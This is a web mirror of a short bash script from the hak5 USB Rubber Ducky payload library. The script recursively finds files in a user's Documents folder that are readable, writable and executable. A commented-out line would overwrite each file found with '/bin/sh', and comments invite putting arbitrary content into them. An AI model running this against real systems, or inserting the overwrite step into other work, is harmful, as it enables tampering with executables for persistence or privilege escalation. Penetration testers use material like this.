Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/ExploitingAnExecutableFile/script.sh
3018 views
1
#!/bin/bash
2
3
function search_file {
4
for file in "$1"/*; do
5
if [[ -d "$file" ]]; then
6
search_file "$file"
7
elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then
8
echo "File Found: $file"
9
# You can put whatever you want into the executable file
10
# echo "/bin/sh" > "$file"
11
fi
12
done
13
}
14
15
USER=$(whoami)
16
17
# You can choose whatever folder you want, the script is recursive.
18
DIR=/home/$USER/Documents
19
search_file "$DIR"
20
21